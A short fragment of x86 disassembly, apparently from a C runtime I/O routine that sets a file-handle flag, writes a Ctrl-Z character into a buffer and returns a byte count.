cmp word [ebp - 4], bx
je 0x411c19
push 0xd
jmp 0x411c12
mov ecx, dword [ebx*4 + 0x46b620]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411c10
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411c19
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret